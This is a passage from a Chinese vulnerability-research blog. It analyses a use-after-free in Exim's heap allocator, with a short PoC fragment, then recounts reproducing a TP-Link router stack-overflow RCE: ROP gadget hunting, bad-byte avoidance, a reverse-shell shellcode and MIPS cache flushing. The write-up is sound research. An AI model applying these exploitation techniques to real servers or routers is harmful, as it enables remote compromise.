class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> smtp_printf</span><span class="pun">(</span><span class="str">"%d%c%s%s%s\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">,</span><span class="pln"> code</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="pun">?</span><span class="pln"> </span><span class="str">'-'</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="str">' '</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln"> data </span><span class="pun">?</span><span class="pln"> data </span><span class="pun">:</span><span class="pln"> US</span><span class="str">""</span><span class="pun">,</span><span class="pln"> data </span><span class="pun">?</span><span class="pln"> US</span><span class="str">": "</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> US</span><span class="str">""</span><span class="pun">,</span><span class="pln"> errmess</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln"> smtp_printf</span><span class="pun">(</span><span class="str">"%d Too many syntax or protocol errors\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">,</span><span class="pln"> code</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">return</span><span class="pln"> </span><span class="kwd">yield</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pun">}</span></code></li></ol>然后在
synprot_error
函数中有一个string_printing
函数,位于src/string.c代码中:1<ol class="linenums"><li class="L0"><code><span class="kwd">const</span><span class="pln"> uschar </span><span class="pun">*</span></code></li><li class="L1"><code><span class="pln">string_printing2</span><span class="pun">(</span><span class="kwd">const</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">s</span><span class="pun">,</span><span class="pln"> BOOL allow_tab</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="kwd">int</span><span class="pln"> nonprintcount </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L4"><code><span class="kwd">int</span><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L5"><code><span class="kwd">const</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">t </span><span class="pun">=</span><span class="pln"> s</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">uschar </span><span class="pun">*</span><span class="pln">ss</span><span class="pun">,</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">;</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="kwd">while</span><span class="pln"> </span><span class="pun">(*</span><span class="pln">t </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> c </span><span class="pun">=</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">++;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">mac_isprint</span><span class="pun">(</span><span class="pln">c</span><span class="pun">)</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">allow_tab </span><span class="pun">&&</span><span class="pln"> c </span><span class="pun">==</span><span class="pln"> </span><span class="str">'\t'</span><span class="pun">))</span><span class="pln"> nonprintcount</span><span class="pun">++;</span></code></li><li class="L2"><code><span class="pln"> length</span><span class="pun">++;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">nonprintcount </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> s</span><span class="pun">;</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="com">/* Get a new block of store guaranteed big enough to hold the</span></code></li><li class="L8"><code><span class="com">expanded string. */</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">ss </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">length </span><span class="pun">+</span><span class="pln"> nonprintcount </span><span class="pun">*</span><span class="pln"> </span><span class="lit">3</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">1</span><span class="pun">);</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="com">/* Copy everything, escaping non printers. */</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">t </span><span class="pun">=</span><span class="pln"> s</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln">tt </span><span class="pun">=</span><span class="pln"> ss</span><span class="pun">;</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">while</span><span class="pln"> </span><span class="pun">(*</span><span class="pln">t </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> c </span><span class="pun">=</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">mac_isprint</span><span class="pun">(</span><span class="pln">c</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">allow_tab </span><span class="pun">||</span><span class="pln"> c </span><span class="pun">!=</span><span class="pln"> </span><span class="str">'\t'</span><span class="pun">))</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">++;</span><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'\\'</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">switch</span><span class="pln"> </span><span class="pun">(*</span><span class="pln">t</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\n'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'n'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\r'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'r'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\b'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'b'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\v'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'v'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\f'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'f'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\t'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'t'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">default</span><span class="pun">:</span><span class="pln"> sprintf</span><span class="pun">(</span><span class="pln">CS tt</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%03o"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">);</span><span class="pln"> tt </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">3</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln"> t</span><span class="pun">++;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">tt </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L7"><code><span class="kwd">return</span><span class="pln"> ss</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pun">}</span></code></li></ol>在
string_printing2
函数中,用到store_get
, 长度为length + nonprintcount * 3 + 1
,比如BDAT \x7F
这句命令,就是6+1*3+1 => 0x0a
,我们继续跟踪store中的全局变量,因为0xa < yield_length
,所以直接使用的Exim的堆分配,不会用到malloc,只有当上一次malloc 0x2000的内存用完或不够用时,才会再进行malloc- 0xa 对齐-> 0x10
- return next_yield = heap1+0x110
- next_yield = heap1+0x120
- yield_length = 0x1f00 - 0x10 = 0x1ef0
最后一步,就是PoC中的发送大量数据去触发UAF:
1<ol class="linenums"><li class="L0"><code><span class="pln">s </span><span class="pun">=</span><span class="pln"> </span><span class="str">'a'</span><span class="pun">*</span><span class="lit">6</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> p64</span><span class="pun">(</span><span class="lit">0xdeadbeef</span><span class="pun">)*(</span><span class="lit">0x1e00</span><span class="pun">/</span><span class="lit">8</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln">r</span><span class="pun">.</span><span class="pln">send</span><span class="pun">(</span><span class="pln">s</span><span class="pun">+</span><span class="pln"> </span><span class="str">':\r\n'</span><span class="pun">)</span></code></li></ol>再回到
receive.c
文件中,读取用户输入的是1788行的循环,然后根据meh所说,UAF的触发点是下面这几行代码:1<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">>=</span><span class="pln"> header_size </span><span class="pun">-</span><span class="pln"> </span><span class="lit">4</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> oldsize </span><span class="pun">=</span><span class="pln"> header_size</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/* header_size += 256; */</span></code></li><li class="L4"><code><span class="pln"> header_size </span><span class="pun">*=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">store_extend</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> header_size</span><span class="pun">))</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">newtext </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> memcpy</span><span class="pun">(</span><span class="pln">newtext</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">);</span></code></li><li class="L9"><code><span class="pln"> store_release</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> newtext</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol>当输入的数据大于等于
0x100-4
时,会触发store_extend
函数,next->text
的值上面提了,是heap1+0x10
,oldsize=0x100, header_size = 0x100*2 = 0x200
然后在
store_extend
中,有这几行判断代码:1<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">CS ptr </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">!=</span><span class="pln"> CS </span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span></code></li><li class="L1"><code><span class="pln"> inc </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li></ol>其中
next_yield = heap1+0x120
,ptr + 0x100 = heap1+0x110
因为判断的条件为true,所以
store_extend
返回False这是因为在之前
string_printing
函数中中分配了一段内存,所以在receive_msg
中导致堆不平衡了,随后进入分支会修补这种不平衡,执行
store_get(0x200)
- return next_yield = heap1+0x120
- next_yield = heap1+0x320
- yield_length = 0x1ef0 - 0x200 = 0x1cf0
然后把用户输入的数据复制到新的堆中
随后执行
store_release
函数,问题就在这里了,之前申请的0x2000的堆还剩0x1cf0,并没有用完,但是却对其执行glibc的free操作,但是之后这个free后的堆却仍然可以使用,这就是我们所知的UAF, 释放后重用漏洞1<ol class="linenums"><li class="L0"><code><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">=</span><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span><span class="pln"> b </span><span class="pun">!=</span><span class="pln"> NULL</span><span class="pun">;</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> storeblock </span><span class="pun">*</span><span class="pln">bb </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">bb </span><span class="pun">!=</span><span class="pln"> NULL </span><span class="pun">&&</span><span class="pln"> CS block </span><span class="pun">==</span><span class="pln"> CS bb </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> bb</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">.......</span></code></li><li class="L7"><code><span class="pln"> free</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">return</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol>其中,
bb = chainbase->next = heap1
, 而且next->text == bb + 0x10
所以能成功执行
free(bb)
因为输入了大量的数据,所以随后还会执行:
- store_extend(next->text, 0x200, 0x400)
- store_extend(next->text, 0x400, 0x800)
- store_extend(next->text, 0x800, 0x1000)
但是这些都不能满足判断:
if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) || inc > yield_length[store_pool] + rounded_oldsize - oldsize)
所以都是返回true,不会进入到下面分支
但是到
store_extend(next->text, 0x1000, 0x2000)
的时候,因为满足了第二个判断0x2000-0x1000 > yield_length[store_pool]
, 所以又一次返回了False所以再一次进入分支,调用
store_get(0x2000)
因为
0x2000 > yield_length
所以进入该分支:1<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun"><=</span><span class="pln"> STORE_BLOCK_SIZE</span><span class="pun">)?</span><span class="pln"> STORE_BLOCK_SIZE </span><span class="pun">:</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> mlength </span><span class="pun">=</span><span class="pln"> length </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> storeblock </span><span class="pun">*</span><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">&&</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun"><</span><span class="pln"> length</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> </span><span class="com">/* Give up on this block, because it's too small */</span></code></li><li class="L2"><code><span class="pln"> store_free</span><span class="pun">(</span><span class="pln">newblock</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">newblock</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> pool_malloc </span><span class="pun">+=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* Used in pools */</span></code></li><li class="L9"><code><span class="pln"> nonpool_malloc </span><span class="pun">-=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* Exclude from overall total */</span></code></li><li class="L0"><code><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> store_malloc</span><span class="pun">(</span><span class="pln">mlength</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun">=</span><span class="pln"> length</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L4"><code><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L6"><code><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">CS current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_NOACCESS</span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]);</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol>这里就是该漏洞的关键利用点
首先:
newblock = current_block = heap1
然后:
newblock = newblock->next
我猜测的meh的情况和我加了
printf
进行测试的情况是一样的,在printf
中需要malloc一块堆用来当做缓冲区,所以在heap1下面又多了一块堆,在free了heap1后,heap1被放入了unsortbin,fd和bk指向了arena所以这个时候,
heap1->next = fd = arena_top
之后的流程就是:
- current_block = arena_top
- next_yield = arena_top+0x10
- return next_yield = arena_top+0x10
- next_yield = arena_top+0x2010
在执行完
store_get
后就是执行memcpy
:1<ol class="linenums"><li class="L0"><code><span class="pln">memcpy</span><span class="pun">(</span><span class="pln">newtext</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">);</span></code></li></ol>上面的
newtext
就是store_get
返回的值arena_top+0x10
把用户输入的数据copy到了arena中,最后达到了控制
RIP=0xdeadbeef
造成crash的效果但是实际情况就不一样了,因为没有printf,所以heap1是最后一块堆,再free之后,就会合并到top_chunk中,fd和bk字段不会被修改,在释放前,这两个字段也是用来储存storeblock结构体的next和length,所以也是没法控制的
总结
CVE-2017-16943的确是一个UAF漏洞,但是在我的研究中却发现没法利用meh提供的PoC造成crash的效果
之后我也尝试其他利用方法,但是却没找到合适的利用链
发现由于Exim自己实现了一个堆管理,所以在heap1之后利用
store_get
再malloc一块堆是不行的因为current_block也会被修改为指向最新的堆块,所以必须要能在不使用store_get
的情况下,malloc一块堆,才能成功利用控制RIP,因为exim自己实现了堆管理,所以都是使用store_get
来获取内存,这样就只能找printf
这种有自己使用malloc的函数,但是我找到的这些函数再调用后都会退出receive_msg
函数的循环,所以没办法构造成一个利用链引用
-
TP-LINK WR941N路由器研究
作者:Hcamael@知道创宇404实验室
之前看到了一个CVE, CVE-2017-13772
是TP-Link WR940N后台的RCE, 手头上正好有一个TP-Link WR941N的设备,发现也存在相同的问题,但是
CVE-2017-13772
文章中给的EXP并不通用所以准备进行复现和exp的修改,折腾了将近4天,记录下过程和遇到的坑
第一次研究mips指令的RCE,之前只学了intel指令集的pwn,所以进度挺慢的
Day 1
第一天当然是配环境了,该路由器本身在默认情况下是不提供shell的,在@fenix帮助下获取到了路由器的shell,该款路由器上的busybox的命令比较少,curl, nc, wget这些命令都没有,只能用tftp进行数据传输,而且只有
/tmp
目录可写,路由器重启后,传上去的文件就没了,这些问题都可以通过刷固件解决,不过太麻烦了,只需要传上去一个gdbserver
就好了,能根据固件中的bin得知这是一个大端mips指令集的设备,gdbserver
也不用自己编译,直接下编译好的: https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver把
gdbserver.mipsbe
通过tftp上传到路由器的/tmp
目录下然后根据
cve-2017-13772
分析文章说的那样使用gdbserver attach httpd最新的一个进程,然后就可以进行远程gdb调试了Day 2
第二天准备开始调试,但是发现gdb的两个编译选项, 一个
--host
,表示gdb运行的环境,一般默认就是本机环境,还有一个--target
表示调试的目标环境,默认也是本机环境,所以一个64位ubuntu上默认的gdb只能调试64 elf程序。所以需要设置--target=mipsbel-linux
参数进行编译gdb,才能调试大端的mips程序。编译差不多编译了半天,准备改天搞一个8核的机器专门来编译程序….
编译成功后,就可以进行远程调试了,在路由器上执行:
1<ol class="linenums"><li class="L0"><code><span class="pun">></span><span class="pln"> </span><span class="str">/tmp/</span><span class="pln">gdbserver</span><span class="pun">.</span><span class="pln">mipsbe attach </span><span class="lit">0.0</span><span class="pun">.</span><span class="lit">0.0</span><span class="pun">:</span><span class="lit">12345</span><span class="pln"> pid</span></code></li></ol>然后使用编译好gdb进行调试:
1<ol class="linenums"><li class="L0"><code><span class="pln">$ gdb</span></code></li><li class="L1"><code><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span><span class="pln"> target remote </span><span class="lit">192.168</span><span class="pun">.</span><span class="lit">1.1</span><span class="pun">:</span><span class="lit">12345</span></code></li></ol>但是失败了,又折腾了半天
Day 3
第三天才真正的开始调试程序,首先说说我第二天遇到的问题,问题是下了断点没用,原因比较傻逼,我下断点的地址是wr940n的地址,我把两个bin搞混了
然后根据
cve-2017-13772
分析文章中说的栈溢出的指令,在wr941n中也找到了该指令,而溢出情况也是一样,所以拿了wr940n的exp来打了一遍,结果当然是失败了。在wr940n的exp中,ROP是在
libuClibc-0.9.30.so
中找的,根据$ cat /proc/pid/maps
命令,发现wr941n路由器的基地址和文章中显示的wr940n路由器的是一样的,然后再比较libuClibc-0.9.30.so
文件的hash值,发现不同,所以要修改ROP地址。由于libc文件太大,用手找太累了,所以使用了那篇文章中的ida的mipsrop插件,这里又踩了一个坑,因为我用的是ida7.0,而这个插件只能在ida6.8(更低的没试过)版本使用。
修改了ROP后,再进行尝试exp,发现仍然失败,然后进行调试查看原因,跟踪ROP执行流,发现能成功跳转到栈上执行shellcode,但是shellcode和文章中的,文章中的shellcode开头有一个使用xor进行解密的过程,执行完之后的指令和文章中的不一样。所以准备自己写一个shellcode
Day 4
第四天就是开始写shellcod,首先给个mips指令和bin互转的网站:Online Assembler and Disassembler
然后说说写的过程中遇到的问题,该路由器输入是不接受
\x00
和\x20
,所以ROP不是在ELF中寻找而是去libc中寻找:libuClibc
基地址:0x2aae000
,httpd
基地址:0x00400000
如果在ELF中寻找ROP,则地址中总会有个
\x00
,所以ROP是在libc中寻找不存在\x00
和\x20
的地址。但是在shellcode中,这两个字符却很难避免,所以那篇文章中对shellcode进行了xor加密wr940n的exp使用的是一个bind shell的shellcode,而我改成了一个反弹shell的shellcode
然后就是最后遇到的一个大坑,使用gdb调试成功的一个反弹shell的shellcode,在实际测试中却失败了,使用gdb成功,直接打失败,因为这个问题折腾了挺长的时间
然后查阅资料,在看雪的一篇文章中找到了原因:
mips 的 exp 编写中还有一个问题就是 cache incoherency。MIPS CPUs 有两个独立的 cache:指令 cache 和数据 cache。指令和数据分别在两个不同的缓存中。当缓存满了,会触发 flush,将数据写回到主内存。攻击者的攻击 payload 通常会被应用当做数据来处理,存储在数据缓存中。当 payload 触发漏洞,劫持程序执行流程的时候,会去执行内存中的 shellcode。
如果数据缓存没有触发 flush 的话,shellcode 依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储 shellcode 的地址处随机的代码,导致不可预知的后果。
最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如 sleep(1) 或者其他类似的函数。sleep 的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行 flush。
